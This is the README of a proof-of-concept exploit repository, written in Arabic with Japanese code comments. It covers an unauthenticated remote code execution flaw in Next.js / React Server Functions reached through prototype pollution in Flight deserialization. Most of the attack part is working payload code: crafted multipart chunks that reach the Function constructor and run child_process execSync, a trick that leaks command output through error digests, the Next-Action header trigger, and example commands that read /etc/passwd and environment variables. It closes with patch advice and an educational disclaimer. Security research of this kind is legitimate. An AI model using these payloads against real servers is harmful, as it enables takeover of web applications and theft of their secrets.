
كود إثبات المفهوم (PoC) لثغرة تنفيذ الكود عن بُعد (RCE) في React Server Functions (مثل Next.js). يستغل تلويث النموذج الأولي (Prototype Pollution) لتنفيذ أي كود على الخادم دون الحاجة إلى مصادقة.
ملاحظة: هذا المستودع مخصص للأغراض التعليمية والبحثية. يُمنع منعًا باتًا إساءة الاستخدام.
في معالجة إزالة التسلسل ببروتوكول React Flight، كان التحقق من سلسلة النموذج الأولي غير كافٍ.
وهذا يتيح الوصول إلى مُنشئ Function عبر __proto__ وتنفيذ أي كود JavaScript.
إنها أسهل طريقة للتحقق.
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
هي ميزة API من جانب الخادم متوفرة في Next.js وغيرها.
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
عند استدعائها من العميل:
يرسل العميل البيانات بوحدات تُسمى «القطع» (Chunks):
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
عند إزالة التسلسل على جانب الخادم:
{ object: 'fruit', name: 'cherry' }
النقطة الأساسية هي إمكانية الإحالة المرجعية المتبادلة بين القطع.
قبل الكومت المُصحِّح، عند حلّ مراجع القطع، لم يكن يتم التحقق مما إذا كان المفتاح موجودًا بالفعل في الكائن.
وهذا يتيح الوصول إلى سلسلة النموذج الأولي.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
عملية حلّ المرجع:
チャンク1のオブジェクト → __proto__ → constructor → constructor → Function
النتيجة:
[Function: Function] // Functionコンストラクタを取得!
اجعل القطعة 0 كائنًا واضبط خاصية then على مُنشئ Function:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
كود Next.js (action-handler.ts:888، قبل التصحيح):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
يؤدي await هذا إلى محاولة استدعاء then الذي يشير إلى مُنشئ Function، مما يُنتج خطأ:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
تمكّنا من الحصول على مُنشئ Function، لكن كيف نجعله ينفّذ كودًا عشوائيًا؟
ما نحتاج إليه:
فكرة maple3142: إنشاء «قطعة مزيفة» تشير القطعة 0 فيها إلى نفسها.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
صياغة $@ تُعيد «القطعة الخام» بدلًا من القيمة المُحلَّلة:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
النتيجة: تُستبدل then للقطعة 0 بـ Chunk.prototype.then.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
عند ضبط status: "resolved_model" في القطعة المزيفة، يُستدعى initializeModelChunk:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
داخل initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
هنا يحدث التقييم الثاني.
معالجة blob في React Flight Protocol (البادئة $B):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
نُعدّل _response في القطعة المزيفة بحيث يكون _formData.get هو مُنشئ Function و_prefix هو الكود المطلوب تنفيذه:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
مسار التنفيذ:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
تنفّذ poc.py الحمولة المذكورة أعلاه وتستخرج نتيجة تنفيذ الأوامر من رسالة الخطأ:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
يكفي تعيين Next-Action: x في ترويسة HTTP لنجاح الهجوم:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
مهم: يحدث هذا الهجوم أثناء إزالة التسلسل، لذا يُنفَّذ قبل التحقق من الإجراء (getActionModIdOrError).
التحديث الفوري: حدِّث React وNext.js إلى أحدث إصدار
npm update react react-dom next
التحقق من الإصدار:
npm list react next
إجراءات WAF/الأمان:
Next-Action# プロジェクトの脆弱性チェック
npm audit
يُقدَّم هذا المستودع لأغراض تعليمية وبحثية فقط.
اكتشاف الثغرة: maple3142 تنفيذ PoC: مُنشئ هذا المستودع